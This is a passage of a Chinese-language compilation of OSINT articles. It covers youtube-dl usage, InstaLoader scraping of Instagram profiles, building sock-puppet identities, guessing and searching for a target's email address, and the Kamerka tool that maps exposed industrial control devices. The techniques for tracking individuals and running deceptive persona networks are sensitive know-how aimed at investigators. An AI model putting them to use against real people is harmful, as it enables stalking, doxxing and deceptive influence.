🌤您可以绕过地理限制，甚至可以一次下载整个播放列表、单独提取音频、或指定您希望下载的文件的格式。

本文将向您展示如何设置 YouTube-dl 和一些使用的示例。

Snaps

YouTube-dl 在 Linux 环境中运行得最好，虽然它也可以安装在 Mac OS 和 Windows 上。（后面会介绍如何在Mac上安装 YouTube-dl）

如果您不熟悉使用 Linux 版的 OSINT，那么我建议您阅读此前发布的指南，关于构建 Linux OSINT 虚拟机。五个部分如下：

- 《构建你的自定义OSINT机器（第一部分）》
- 《第二部分》

- 《第三部分》
- 《第四部分》
- 《第五部分》

YouTube-dl 可以在大多数流行的 Linux 版本（如 Ubuntu 或 Mint）的存储库中找到，但是对于本教程，我将使用快照包。您可以在此处找到当前可用的快照列表。

Snaps 是在 Linux 上安装、运行和维护软件的绝佳方式。

Snap 是一个容器，包括程序需要运行的所有内容，而不必担心额外的或冲突的软件库。

这可以使开发人员的工作变得更加容易，因为他们只需开发一个可在所有不同系统上运行的 Snap 就可以了，而无需制作单独的版本。

更重要的是，Snaps 是自主更新的。默认情况下，每个快照每天会检查一次是否有可用的更新，如果有，它将在后台静默更新，无需用户执行任何操作或重启计算机。

本指南将向您展示如何安装和运行 YouTube-dl 作为一个稳定的快照包，不会与您系统上的任何其他程序冲突，并且始终是最新的。

安装 **snapd**

在 Linux 中打开终端并输入以下内容：

```
sudo apt install snapd
```

（如果您正在运行的是 Ubuntu，您可能会发现已经安装了snapd，您可以跳过此检查）

接下来：

```
sudo snap install youtube-dl
```

您的计算机现在将下载并安装最新版本的 YouTube-dl。

要检查它是否正常工作，只需要这样：

`youtube-dl -h`你能看到很多选项，这里还是一部分

这将显示您希望如何下载视频的所有可用选项。

有许多可用选项，您可能不需要其中大多数选项，但我将在下面展示一些有用的示例。

YouTube

对于第一个例子，我将展示如何下载在贝尔法斯特发生的警民冲突视频。

YouTube-dl 命令始终以相同的格式输入：

```
youtube-dl [OPTION] [VIDEO URL]
```

所以要下载这个视频，命令如下（在这种情况下没有指定选项）：

```
youtube-dl https://www.youtube. com/watch?
v=B9xE-40c2Oc
```

（要粘贴到终端，请使用 Ctrl + Shift + V，而不是桌面上的 Ctrl + V）。

默认情况下，YouTube-dl 以 mp4 格式将视频保存到您的主文件夹，但是可以通过其他一些选项更改它。使用 -o 指定保存文件的位置：

```
youtube-dl -o ~/Videos/riotfootage https://
www.youtube. com/watch?v=B9xE-40c2Oc
```

现在，这将使用文件名 riotfootage.mp4 将剪辑保存到您的 Videos 文件夹中。

如果您想以不同的格式保存视频，只需添加 -recode-video 选项即可。这种情况下它将以 avi 格式下载，尽管 webm、mkv 和其他格式都可用：

```
youtube-dl -o ~/Videos/riotfootage --recode-video
avi https://www.youtube. com/watch?v=B9xE-40c2Oc
```

如果由于地理限制而无法访问视频，则可以绕过这些添加适当的 ISO 3166–2 国家/地区代码以及 -geo-bypass-country 选项。

例如，如果我想下载仅在德国提供的视频（ISO代码 DE），我将使用以下命令：

```
youtube-dl --geo-bypass-country DE https://
www.youtube. com/watch?v=B9xE-40c2Oc
```

从完整选项列表中可以看到，有许多不同的工具可用于根据需要自定义想要下载的视频/播放列表及其元数据。

Twitter

YouTube-dl 也适用于 Twitter。在这里将展示如何抓住一个日光浴者的视频。

使用以下命令将 Tweet 的URL复制到终端中：

```
youtube-dl https://twitter. com/i/
status/1159811569045295104
```

请注意，您不必提供确切的视频 URL，只需把推文链接贴到 YouTube-dl 即可。该程序能够从提供的链接中挑选视频内容，并忽略其他所有内容。

Facebook

同样的方法也适用于 Facebook。只需提供相关帖子的链接，YouTube-dl 就可以提取视频内容，例如：

```
youtube-dl -o ~/Videos/facebookvideo https://
www.facebook.com/watch/?v=328211061465570
```

LiveLeak

LiveLeak 内容可以以类似于 Twitter 的方式提取。

没有必要提供确切的视频 URL，只需将程序指向帖子URL就足以允许提取视频内容。比如这样（例子是代顿枪击案）：

```
youtube-dl -o ~/daytonshooterresearch/cctvfootage
https://www.liveleak.com/view?t=C4uCL_1565289483
```

GUI

有一个在 Windows 上运行的 YouTube-dl GUI 版本。它可以在这里下载。下面是一个演示。

它没有与最新命令行版本完全相同的选项数量，并且缺少 snap 版本具有的自我更新功能，但它对于大多数人来说仍然非常有用。

您可以试试看。

如何在 **Mac** 上安装 **YouTube-dl**

1、要安装 youtube-dl，首先需要安装 Wget。并且为了安装 Wget，您需要先安装自制软件。

因此，请在 Mac 的终端上复制粘贴以下命令。

运行以下命令后，Mac 将从 Github 下载 Homebrew 主文件。

您可能需要多次输入 Mac 的密码。整个过程需要10–15分钟，具体取决于您的网络速度。

```
ruby -e "$(curl -fsSL https://
raw.githubusercontent.com/Homebrew/install/master/
install)"
```

2、下载 Homebrew 后，即可安装 Wget。键入以下命令，并启用 OpenSSL 以获得TLS支持。

```
brew install wget --with-libressl
```

3、现在使用它来下载和安装 Youtube-dl 包。输入以下命令，然后按 Enter 键。

```
sudo wget https://yt-dl.org/downloads/latest/
youtube-dl -O /usr/local/bin/youtube-dl
```

4、您现在已经在Mac上成功安装了 youtube-dl，但是它还不能正常工作。

要解决此问题，您需要提供正确的权限，键入以下命令并按 Enter 键。

```
sudo chmod a+rx /usr/local/bin/youtube-dl
```

5、就是这样，现在您只需输入 youtube-dl [视频链接] 即可下载 YouTube 视频（或来自 youtube-dl 支持网站的任何视频）。

例如这样：

6、您可以在Mac上的主文件夹中找到下载的视频。要调出主文件夹，只需转到 Finder」 Go」 Home 或按键盘快捷键 CMD ＋ Shift ＋ H.

使用 **FFmpeg** 下载 **1080p** 视频

默认情况下，FFmpeg 将下载第二高分辨率。您可能必须安装 FFmpeg 才能获得最高质量的视频。

没有 FFmpeg 的话你可能会获得第二高分辨率，在这里的情况下是 720p。要安装 FFmpeg，请键入以下命令。

```
brew install youtube-dl ffmpeg
```

无论如何，如果您想更改下载位置或下载不同的视频分辨率，可以在 Github 上查看 youtube-dl 命令行参数。

好啦就是这样。玩得开心。〇

原文

如何快速从照片平台挖取重要信息？：开源情报工具推荐 - iYouPort

开源情报-每个人都可用的武器

特别简单，适合初学者

「图」

「图」

我们提到过，照片和视频分享平台是最容易实现追踪的，因为在这些平台上，用户倾向于过多地暴露自己以赢取关注。追踪者就可以利用这点。

不论是 Instagram、tumblr、还是抖音，都会比 Twitter 更多暴露目标人的可追踪线索。

社交媒体情报是一个致命的问题，因为直到目前为止都没有有效的法律可以保护用户。

但是禁止一切挖掘也是不现实的，因为调查记者、NGO组织、人权组织、公民社会、公民自治团体等等，都在使用这种方法获取信息。

我们介绍这些挖掘方法的用意是**技术民主化** —— 不让这一能力仅仅掌握在权势手中，而是分享给更多公民，已满足当权者不想要满足我们的东西。

关于如何针对社交媒体挖掘情报的方法我们此前介绍过很多了，您可以在下面回顾其中一些：

- 《调查记者如何从社交媒体上挖掘情报？》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 《如何在社交媒体上查找照片并按日期过滤：开源情报思考方式》
- 《别让社交媒体的自然模糊阻挡真相》

- 《揭露加密货币投资骗局：蜘蛛脚演示自动化开源情报调查》
- 《攻击者如何收集有关目标的情报？他们能了解你多少？》
- 以及更多 …… 在 “开源情报” 栏目中看到

真的有非常多，因为社交媒体情报是开源情报调查的重头戏。

对 Instagram 进行开源情报调查的工具也有很多，其中 Jake Creps 介绍的 InstaLoader 的确是很不错的一种。它在提供大量数据的同时又可以保持用户友好性。您可以在这里看到原文《InstaLoader – an OSINT Tool for Scraping Instagram Metadata》

InstaLoader 执行以下操作：

- 下载公开的和私有的个人信息、标签、用户故事、提要和保存的媒体；
- 下载每个帖子的评论、地理标记和标题；
- 自动检测个人资料名称是否有更改，并相应地重命名目标（也就是说目标即便改了名字也可以继续追踪）；
- 允许您对过滤器以及存储下载的媒体的位置进行精细的自定义。

InstaLoader 可让您提取主题标签、用户发布的内容、提要、标题、和保存的媒体。这是进行社交媒体调查的基础。

☞这些信息很重要，追踪者和调查人员可以基于这些信息结合更多公开信息，以掌握目标人的几乎一切。

接下来，您可以下载每个帖子的评论和地理标记。每个帖子的评论都是线索，我们绝大多数人不会在网上无缘无故地给他人留评论对吧？于是对于追踪者来说，每一个评论都意味着 “下一条线索”。

☞ 如果用户对个别评论有真实的反应，那么你就可以 “透视” 该个人资料，并重复 InstaLoader 流程以构建您的调查网络。

您可以潜在地从目标个人资料发现外部用户的活动。关于这一点，我们可以先讨论一个调查 Instagram 的独特问题。

关于 Instagram

对开源情报调查人员来说，Instagram 存在一个问题，例如 Twitter 之类的其他社交媒体则没有这样的问题 —— 即：您无法在其个人资

料页面之外看到用户活动。

也就是说，您可以看到用户发布的内容，但是无法搜索他们与之交互的其他内容。显然，这在识别欺诈、僵尸网络帐户、潜在的人口贩子等目标的时候，就会出现问题。

没办法，它就是这么设计的。由于这个问题，您需要获取尽可能多的数据，才能编写有效的报告并得出合理的结论。

通过分析用户生成的内容下的评论来进行延展调查，是一种解决方案。

另一种方法是分析用户遵循的主题标签，以查找外部活动，该主题是公开可用的。一旦找到另一个与之交互的个人资料，就可以在该个人资料中搜索更多信息。

下面具体说说这个工具。

InstaLoader 设置

InstaLoader 是我使用过的最简单的工具之一。设置仅两个步骤：

$ pip3 install instaloader

$ instaloader profile [profile ...]

仅此而已。由于它位于 PyPi 上，因此您可以使用 pip 进行安装，即可开始使用。这里没有更多要说的。这是该工具资料的链接。

用例

作为一般免责声明：您绝不应该出于恶意或令人毛骨悚然的原因使用 InstaLoader。

与大多数工具一样，好人和坏人都可以使用它来谋取私利。你别做坏人！

☞我们介绍所有工具都是帮助您防御的，最好的情况下是帮助没有民主经验的社会尝试民主化实践 —— 构建公民自己的调查社区，绝不是让您侵犯他人的。否则，您会被抓住，不开玩笑。

在更高的技术水平上，您可以使用 InstaLoader 提取数据、生成档

案、进行链接分析等等。

这里是可以永久使用 Instaloader 的几种方法。

在有关尼日利亚王子骗局的文章中，就使用了 InstaLoader 来证明一个帐号不是他们所说的帐号。

因为该帐户现在已删除，所以这里简单介绍一下背景。

一个声称自己是尼日利亚埃米尔王子的账户说服人们购买加密货币，这是个骗局，该欺诈账户使用了该王子的照片，以便让人们信服。

第一步是确定他们冒充了哪个王子，然后证明他们是欺诈行为。

为此，调查确定了王子被使用的所有照片都是公开的 —— 使用 InstaLoader 下载照片和元数据，并使用反向图像搜索和 Google Dorks 查找发布照片的文章。在下面看到：

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》

发现第一个危险信号。接下来就能够使用与该帐户有关的相同语言来查找多个帐户，以解决这个加密货币骗局。

这只是您可以处理 InstaLoader 提取的信息的一个示例。显然，它可以做很多事。

开源情报洞察力

InstaLoader 可能是最强大的 Instagram 开源情报调查工具之一。

尽管我喜欢它的所有功能和自定义功能，但文件输出的格式确实存在点问题。

我敢肯定这是可以调整的，但也是为什么在人脸识别的演示中使用了 Instalooter 而不是 InstaLoader。

- 《如何使面部识别技术为公民所用？- 开源情报方法》

更具体地说，不是将所有照片都转储到一个文件夹中，而是每张照片都有其自己的带有元数据的文件夹。这对组织非常有用，虽然也有点累。

由于 Instagram 由 Facebook 拥有，因此 Instagram 将来可能会收到类似的隐私保护措施；因此，很可能使 InstaLoader 之类的工具获得成功。

此外，普通用户可能会转向私有帐户，从而限制了挖掘工具的使用。这些问题都要考虑到。

在围绕Web抓取工具（例如 InstaLoader）构建基础结构之前，请牢记这些注意事项。〇

《InstaLoader – an OSINT Tool for Scraping Instagram Metadata》

广告

原文

如何快速创建一个假人？简易版分身术-调查人员使用 - iYouPort

开源情报-每个人都可用的武器

就算最终发现敌人是赤手空拳的，您的全副武装准备也并非多余；因为，当你能看清敌人的装备时往往为时已晚

「图」

「图」

我们介绍过袜子木偶如何已经应该是开源调查的必需，如果您不希望您的调查对象迅速发觉您的行动并采取反击的话。见《某些行动者，你需要一个袜子木偶》。

但是糟糕的袜子木偶很可能会让你陷入麻烦（后面将有文章详细介绍从一个糟糕的袜子木偶挖掘到的大骗局；为正义事业工作的调查人员不要犯那种低端错误）。

如何为开源情报操作制作一个好的袜子木偶是非常重要的。虽然我们曾经介绍过《如何制作完美分身》，以及如何制作《角色扮演》。

但本文要专门介绍：如何制作好的袜子木偶作为调查人员的护盾。

感谢 Jake Creps 提供的经验。

首先，我想要正确定义袜子木偶是什么，不是什么。

互联网怀疑论者将袜子木偶定义为“用于欺骗目的的在线身份”。这显然是指传统的袜子木偶，背后有一个未知的“木偶大师”。

我们现在需要为这个定义添加一些清晰度。

袜子木偶并不是欺骗专用的，它们也可用于隐私保护和基本操作安全 **OPSEC**，用于调查员、记者、渗透测试人员、反抗动员者等等。也就

是我们在上述“分身”和“角色扮演”技巧中强调的。

在线 OPSEC 不仅可以保护调查人员的安全，并且还可以在所提供证据失败的情况下保护目标。

所以作为真相挖掘者和自我保护的追求者，你必需能制作一个不会最终变成你自己的枷锁的护盾。

你要做的第一件事就是明确自己的意图。你可以选择创造一个纯粹假的角色 —— 进攻，或者以OPSEC为主要目的创造一个明显虚假的化身 —— 防御。

下面详细说明一下。

假设您的选择是上述 1. 您想要创建一个名为 “张三疯” 的袜子木偶。

“张三疯” 并不存在。因此，您必须在其周围创建一个完整的标识，以使该帐户看起来真实可靠。

这大概需要较长的时间，很困难，并且失败的可能性更高。

虽然也许同样能欺骗大众，包括主流媒体。我们曾经介绍过对两个影响力极为强大的假人的揭露，见：

- 《一个惊人的案例：积极的反政府抗议者居然是个假人》
- 《享誉盛名的”五角大楼官员”事实上是一个假人，如何揭露”他”？（第一部分）》
- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》

但是如果您是独立调查人员，创建上述这些袜子木偶并不是您需要考虑的东西（也很难完美成功，因为您没有权势的背后配合 ）

对于调查人员来说，⚠一旦袜子木偶被揭穿，您的所有工作都必须删除，您必须重新开始。

如果你能解决这个问题，这是最有效的操作方法；但不是每个人都有这样的耐心。这就是上述选项2存在的原因。

选项2正在创建一个专注于创意而非唯一身份的化身。这方面的例子包括 Twitter 上的 “ShakiraSecurity”或 “DutchOSINTGuy”。

每个人都知道 Shakira 没有参与信息安全社区；也知道那个帐户不是 Shakira。但是当涉及到OSINT和信息安全对话时，该帐户仍然是 Twitter 上值得信赖的来源。

中文读者对这种方法应该非常熟悉了。

对于这两个选项来说都一样，建议创建内容，添加媒体（照片、视频），以真实的方式在线与他人互动，创建多个社交网络个人资料，说服他人为您担保，拥有电话号码（非真实），独特的IP，电子邮件地址等等信息。

只要具备足够的理论逻辑和哲学性，这两个选项都是可行的，再一次，这取决于您的意图和项目范围。

如果您有大规模的调查操作 —— 比如针对大规模的心理战网络、或者推动您的行动号召，您可以创建一个袜子木偶社区，与其他“人”互相交流，以创造具有杠杆作用的影响力。

下面详细了解如何设置它。

安装程序

根据您的具体需求，在网上进行调查时，您可以做无数匿名的事。

你可以走极端，跳入兔子洞；或者你可以较少地注意细节，仍然能做得很好。

如果您对几乎完整的身份自证系统感兴趣，请查看这本书 “Hiding from the Internet”。最简单的是以下7个要点：#专用计算机，仅用于调查；

- 加密电子邮件，要与您的任何真实身份皆不相关；
- 一次性电话号码或任何可以隔离真实身份的电话号码（链接中有推荐）；
- 活跃的社交媒体账户配置文件（对上述两个选项来说都需要）；
- 几个不同的虚拟机；
- 博客或网站（您可以使用 WordPress，Blogger 或 Medium等免费博客）；
- VPN（你应该有一个安全的）

现在，这只是一个开始，但它至少能帮助您开始了。别忘了自定义头

像，以增加可信度（在这里看到简单的合成人脸方法）。

专用电脑

拥有专用于调查的计算机是绝对必要的。不要做任何与真实身份相关联的事。

否则，不仅仅会暴露你的袜子木偶确实是一个袜子木偶，而且，还很可能会将你的真实身份与它联系起来。

这台电脑不一定非常昂贵，你可以使用像 Raspberry Pi 或廉价笔记本电脑这样简单的东西。您可以使用下面即将讨论的其他工具。

⚠您的专用计算机不应该链接到你的网络上的另一台计算机。

加密电子邮件

这通常是开源调查和 infosec 社区的最佳实践。

虽然使用 Gmail 可能很有吸引力，因为它们提供了大量的免费工具以及无缝集成，但是要知道，谷歌一直在追踪你。

⚠即使您提供的都是虚假信息，他们最终仍然会知道那是您。

所以，使用加密邮箱，比如 Proton Mail，用户界面易于理解，不需要任何高级设置。Criptext 也是很好的选择。

电话号码

如果可以，请尝试获得一个非常便宜的电话计划，专门为您的替身使用。像 Mint 这样的廉价计划将为您提供基础知识。

理论上 Google Voice 那种也可以，但是，很多网站（比如 Facebook 等）都会拒绝 Google Voice 生成的手机号，因为他们可以检测出那不是真实的。

并且，很多这类网站在注册时都会请求您提供“主要电话号码”。

如果您非常关注隐私，那么就不建议使用这种。

VPN

这里介绍过《什么情况下需要VPN》，调查人员是其中一个重点。

安全性排名第一的 VPN 会频繁更改，因此根据您阅读相关文章的时间，它可能会有所不同。

您可以在这里看到选择 VPN 的思考方式；以及在这里看到如何用最简单的方法验证 VPN 的安全性。

社交媒体资料

既然您拥有了专用计算机、加密电子邮件、一次性电话号码和 VPN，现在就可以进入有趣的部分了。

您可以使用所有这些信息（电子邮件、电话号码）来创建您选择的社交媒体配置文件。

由于这是从头开始，因此以有机的方式进行交互非常重要。

这可能包括添加关注、发布链接、进行状态更新、与调查目标中的人员进行互动等等。

如果你做得对，这个过程需要比较长的时间。如果你真的对此很熟练，你的目标就会来找你。

我建议创建多个角色，具有不同的电子邮件和电话号码，以降低风险，并以不同的方式部署它们。更多见这里。

虚拟机

虚拟机是创建额外隐私层的好方法。您也可以将它们用于开源情报调查中的特定工具。

建议从 Buscador 开始，因为它提供了各种各样的OSINT工具。在这里看到：《构建你的自定义OSINT机器》“第一部分”、“第二部分”、“第三部分”、“第四部分”、和“第五部分”。

您还可以尝试使用 Windows VM 来访问 FOCA 和其他 Windows 特定工具。

尝试使用 Android 模拟器来利用移动应用。 Nox 是一款出色的模拟器，可以帮助您入门。更多介绍在这里《如何在您的 PC 上创建 Android 开源研究设备？》

博客

如果你想在袜子木偶上深入另一层，可以在 WordPress、Medium 或 Blogger 上创建一个免费博客，并将其链接到你的社交媒体资料。这样会看起来更真实。

在社交媒体和博客上均生成内容以大幅度提高可信度。经过一段时间的发展，你将拥有一个既可信又有价值的复杂角色。

Chrome 扩展程序

在网络上保持匿名的一部分方法是阻止所有形式的跟踪。

比如推荐这两个扩展：AdBlock 和 Disconnect Me。再结合安全的 VPN，您应该可以拥有安全搜索所需的基本内容。

一旦你完成了上述所有内容，你可能想要在 Keybase 上证实自己、并参与其他机会，例如 Slack 频道或 Rocket Chats。这将使您有机会在与社交媒体分开的环境中与您的目标人或群体进行对话。

要考虑的事

重要的是要记住在部署袜子木偶之前你应该非常小心。

如果你过早地使用它就可能会失去信誉，信誉是很难恢复的。

建议在创建使用计划之前先设置一些基础，比如一定数量的推文、一定关注者、一些博客帖子等等，最好在时间上显示出至少几个月之久。

话虽如此，一直要记得你的袜子木偶的意图，一切都应该为此意图服务。

但是，⚠不要以不自然的方向操纵你的袜子木偶。要让它有机地生长，并按照它自己的方向进行部署。这就是为什么拥有多个帐户很重要的原因。

另一个需要考虑的是法证语言学 —— 我们曾经介绍过一些相关资料，这是一个非常容易被忽略的反侦察漏洞，见这里《角色扮演》可以直接看文末部分。

所以，请尝试使您在袜子木偶帐户上创建的内容尽可能独特（或至少与您的个人帐户完全不同）。

当然，只要你没有引起任何令人难以置信的争议，人们就不会质疑你的动机并调查你的身份。

📡不断对你的袜子木偶做逆向工程 —— 也就是开源调查，可以帮助你在你的对手发觉之前自己发觉漏洞，并及时弥补。

如果您是一个调查团队的一员，邀请团队中成员彼此校验对方的袜子木偶会是一个好办法。俗话说旁观者清。

在真正开始之前完成上述所有工作。

基本层面就是这样。其余的只剩下您在调查工作进展过程中需要持续注意的诸多问题 —— 主要是操作安全问题，在安全的基础上保持对目的性的强调。

请记住您的目标可能会非常狡猾，他们既然是专门做坏事的人，必然有较强的防备心理。所以，不要轻敌；保持你的专业性。加油。〇 广告

原文

如何快速找到一个人的电子邮件地址？：5个简单的方法 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

5个方法都很简单，还有一本书下载哦

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6844

查找某人的电子邮件地址可能很困难，因为与电话号码和实际地址不同，没有类似于电话簿的电子邮件地址数据库。但是，您可以使用一些技巧来简化电子邮件查找过程。

本文介绍5个方法，以找到目标人的电邮地址。这些方法都很简单，它们强调了分身的重要性 —— 不要将您的重要电邮地址与不重要的地址发生任何关联。

1、使用搜索引擎

Google 或其他搜索引擎是查找各种信息的好地方，如果您使用的工具具有高级搜索功能，那么查找电子邮件地址会很容易。

使用搜索引擎您可以立即找到并浏览庞大的网站数据库。这是查找任何人的电子邮件地址的最佳方法，因此它应该是您的第一种方法（如果它没找到，再试其他方法）。

但是，几乎不可能手动浏览所有这些网站来找到每个电子邮件地址，然后对所有这些地址进行过滤以找到您想要的东西。因此，重要的是使用可用的任何工具来缩小结果范围。

例如，使用 Google，您可以采取搜索运算符来真正了解所要寻找的人。如果您要查找 iyouport 的 Gmail 地址，请参见以下示例：

“@gmail.com” AND “iyouport”

只是举个例子！这个例子可能不好，因为我们并没有gmail ；也就是说，“iyouport” 可以换成任何您想要的人。

注意引号哦。这就是 **Googledork**。您可以在这里看到完整版用法介绍：《攻防皆可用：GoogleDorking 高级运算符完整列表》。引号、冒号、没有或有空格，都很重要。

当然，添加任何其他相关信息都可能会有所帮助。

如果您知道此人的工作或生活地点，或与他或她有关的任何其他信息，都可以试着在此处使用。这会更精准定位。

以下是使用 Google 查找任何人的电子邮件地址的其他示例：

- **“@yahoo.com” AND “new york” AND “Pat Neises”**
- **“@aol.com” OR “@hotmail.com” “Colorado State University” AND “Elizabeth”**

如果您无法确定目标人使用的是哪个电子邮件提供商，那么可以分别尝试使用它们进行搜索，也可以使用如上所示的 OR 选项。

2、在目标人的网站上搜索

目标人有自己的网站吗？也许你知道目标人曾就读某所学校，而您怀疑他们的电子邮件地址已经张贴在学校的网站上。那就去搜。

有几种方法可以将您的电子邮件搜索范围缩小到一个特定的网站。

第一种是使用搜索引擎或网站的搜索功能。例如，转到Google并输入 **site:example.com “@gmail.com” AND “Mary”** 以帮助查找 Mary 的 Gmail 帐户。

此类搜索仅限于 *example.com*，因此您可以将其更改为可能列出其地址的任何网站。

从网站收集电子邮件地址的另一种方法是，使用像 "VoilaNorbert" 这样的电子邮件抓取工具。只需输入目标人的名字和姓氏以及网站 URL，即可获得匹配的电子邮件地址列表。您可以免费获得50个成功搜索。

3、用猜的

我们的 “"完美隐身"” 系列中介绍过这种方法，这也是私家侦探最常使用的方法（因为他们需要针对的目标都可能比较倾向于隐秘踪迹）。

当然，您可能已经考虑过这样做了，但是您应该知道一些技巧，可帮助您更容易猜测某人的电子邮件地址。

如果您已经知道目标人的用户名（@之前的部分），请尝试所有可以想到的域。

例如，如果此人的用户名是 texas4life1991，请尝试添加 @gmail.com，@outlook.com，@hotmail.com，@aol.com，@yahoo.com 等等，直到可以使用为止。

但是，如果您不太幸运无法知道目标人的用户名，请先猜测一下您对他们的了解，例如 他们的生日或毕业日期、结婚纪念日、车牌号等等东西。很多人喜欢在用户名中使用这些事实，但如果不是，也许就和他们的名字和姓氏一样简单。

如果我们认为此人的名字叫 Christina Rodriguez，请参考以下示例：

- christinarodriguez@yahoo.com
- christinarodriguez1998@gmail.com
- 1990christinarodriguez@aol.com
- christinarodriguez2015@outlook.com

还应考虑下划线或连字符之类的小变化。用户名可能改为 **christina.rodriguez**, **rodriguezchristina**, 或 **christina_rodriguez**.

如果您知道目标人就读的学校或大学，那就尝试使用该学校的域名试试看。尤其是名牌学校，人们喜欢炫耀自己的求学经历。

例如，如果 Christina 在科罗拉多州立大学（colostate.edu）上学，她的电子邮件地址可能以 @colostate.edu 结尾。

在这种情况下，您可以尝试上述所有用户名提示，但以该域结尾的地址，而不是使用 Gmail 或 Yahoo 之类的公用的东西。

提示：学校通常使用名字的首字母，例如 crodriguez，但有时也可能会缩短名字。您可以尝试使用 chrrod 或 chr.rodriguez。

如果您在输入可能的用户名时遇到麻烦，请将此人的姓名插入 Email Permutator ＋，然后生成一堆可能的地址。逐一尝试。

4、使用Pipl查找

Pipl 是一种 “搜人” 工具，我们介绍过；它可以将在某人身上找到的所有信息免费收集到一个页面中。

您所要做的就是创建一个免费用户帐户以查看结果。

该工具可能会向您显示某人的电子邮件地址，并很可能会显示其在线状态，然后您可以使用该工具进行进一步的研究。

使用 Pipl 找到的关于某人的全部信息可能包括他们的姓名、用户名或电话号码等等。位置会更有帮助，但这不是必需的，跟踪狂比较喜欢这个。执行搜索后，可以按位置和年龄过滤结果。

5、查找包含其地址的过去电子邮件

不要忽视最明显的地方：打开目标人曾经发送给您的电子邮件。

如果您想查找某人的电子邮件地址，以便可以向他们发送消息，但您的联系人列表中没有这个人，请快速搜索您的所有电子邮件，以查找该人的消息。

大多数电子邮件提供商在页面顶部都有一个大搜索工具，您可以在其中输入有关所要查找邮件的详细信息，例如主题、收件人电子邮件签名中的详细信息、姓名等。

输入您所知道的关于此人的任何信息，然后查看是否包含在旧消息中。

您可以在其中查看电子邮件的到达时间、谁发送的、以及发送给谁。您要查找的是 “发件人” 地址。

就是这么简单，您肯定学会了。〇 广告

原文

如何快速找到任何国家隐秘的关键联网基础设施

开源情报-每个人都可用的武器

它可以让你像黑客一样看到一切。它可以绘制SCADA设备、网络摄像头和打印机的全球地图，甚至比号称 “最邪恶搜索引擎” 的 Shodan 更厉害

「图」

波兰安全研究人员创建了一个开源情报收集工具，该工具可对有关与互联网相连的敏感设备的信息建立索引，并在地图上绘制其大概位置。

研究人员说，他创建该工具的目的是允许组织扫描网络并识别易受攻击的设备，但是该工具也有其弊端，因为恶意者可以使用它更容易地实施攻击。

KAMERKA

该工具于去年发布，名为 Kamerka（波兰语 “相机”）。该工具适用于用户提供的搜索查询。

Kamerka 接受这些查询，并使用 Shodan 和 BinaryEdge 等搜索引擎搜索特定设备的常见品牌，然后在 Google Map 上绘制结果。

- 关于 **Shodan**《"搜远程桌面、摄像头、打印机、家用设备 ... 等一切的超级Shodan搜索：恐怖指南"》

在最初的版本中，Kamerka 仅扫描监视摄像机，但该工具在过去一年中进行了多次更新。当前版本可以扫描和识别以下所有这些内容：

- 联网的监视摄像机
- 联网打印机
- ICS / SCADA工业设备

- 在MQTT协议之上工作的系统和传感器
- 广播基于RTSP协议的实时视频流的设备
- 包含地理位置详细信息的推文，**Instagram** 帖子和 **Flicker** 图像

Kamerka 收集所有这些信息，将其收集在 Elasticsearch 数据库中，然后将其绘制在 Google Map 上。

对于地图上标绘的每个设备，用户都可以单击查看带有裸露端口的提示和各种其他元数据。

直到去年底，您还只能通过难以使用的 Python 命令行脚本运行 Kamerka 搜索。但很快就会改变这点。

该工具的创建者一位名叫 Wojciech 的研究人员告诉 ZDNet，该工具将获得一个基于Web的全功能仪表板，使用会变得非常容易。

「图」

Image: Wojciech

这个新版本将特别专注于改善工业控制系统的检测，这是 Wojciech 在过去一年中大力投资的领域。

先前的 Kamerka 版本可以检测 ICS / SCADA 系统，例如：Modbus，Siemens S7，Tridium，General Electric，BACnet，HART IP，Omron，三菱电机，DNP3，EtherNet / IP，PCWorx，Red Lion，Codesys，IEC 60870–5–104，和ProConOS。

新版本还将能够检测 **Pl@ntVisor**，**Iologik**，**Moxa**设备，**SpiderControl**，**IQ3**，**VTScada**，**Z-World**，**Nordex** 和各种储油箱。

Wojciech 说："这将是一个新的情报平台，它可以根据您指定的坐标或对整个国家的扫描，在特定区域内的暴露设备上收集信息。"

如果这听起来很恐怖，那是因为它真的很恐怖。 Kamerka 有效地使用户看到黑客在搜索或研究目标时会看到的内容。

公司可以将该工具用作网络自我诊断，但显然，它也是黑客很喜欢的东西，并且很可能会滥用以计划未来的攻击。

在过去的几个月中，Wojciech 在两个博客文章中展示了 Kamerka 的可怕功能，他用这些工具来识别波兰、瑞士和美国的联网工业设备。

从简单的搜索查询开始（例如美国的 Niagara Fox 设备），Wojciech 展示了攻击者如何使用 Kamerka 来跟踪他们想要入侵的设备。

某些 Kamerka 显示的位置可能与实际位置有点差异，但是 **Kamerka** 提供的元数据可以帮助攻击者通过一些 **Google** 搜索来查明目标的真实位置。

例如，攻击者可以单击设备图标，获取有关设备的元数据信息，然后搜索各种关键字（例如 工厂名称或街道名称）以找到目标的真实位置，并附带 Google Maps 行程解读、甚至是街景视图图像。

「图」

Image: Wojciech

「图」

Image: Wojciech

「图」

Image: Wojciech

Kamerka 之所以如此有效，是因为许多系统管理员经常不得不管理大量设备。他们通常使用建筑物名称或完整地址来提供尽可能准确的描述，而不是使用数值来标识设备。

「图」

Image: Wojciech

这样的信息以前也可以在 Shodan 或 BinaryEdge 上获得，但只有在搜索非常特定的IP地址时才能找到。而使用 Kamerka，所有这些信息都可以在地图上直接获得。

在过去的几年中，工厂、发电厂和其他关键基础设施实体一直不断暴露在线攻击面。

攻击者已经损害了核电站、电网、水坝、医院、政府机构和军事目

标，这是仅举几例。

在过去许多情况下，一场有效的攻击要计划几天或几周的时间。但使用 **Kamerka** 之类的工具，计划一次攻击只需几分钟。

通过几次搜索，攻击者可以找到特定区域中的目标，识别未修补的设备（Shodan 已经列出了裸露的端口和未修补的漏洞），从而发起攻击以接管目标设备。

这样的攻击策略早已不再是理论上的了。

去年八月，微软称，已经看到俄罗斯政府资助的黑客使用诸如打印机和视频监视器之类的物联网设备作为攻击的切入点。

但是民族国家的黑客行为不应该是组织机构唯一的担心。

Wojciech 警告说，勒索软件组织可能也已开始以类似的方式瞄准暴露在互联网上的智能设备 —— 将它们用作打入关键目标内部的切入点。

有了 Kamerka，他们的工作肯定变得容易多了。

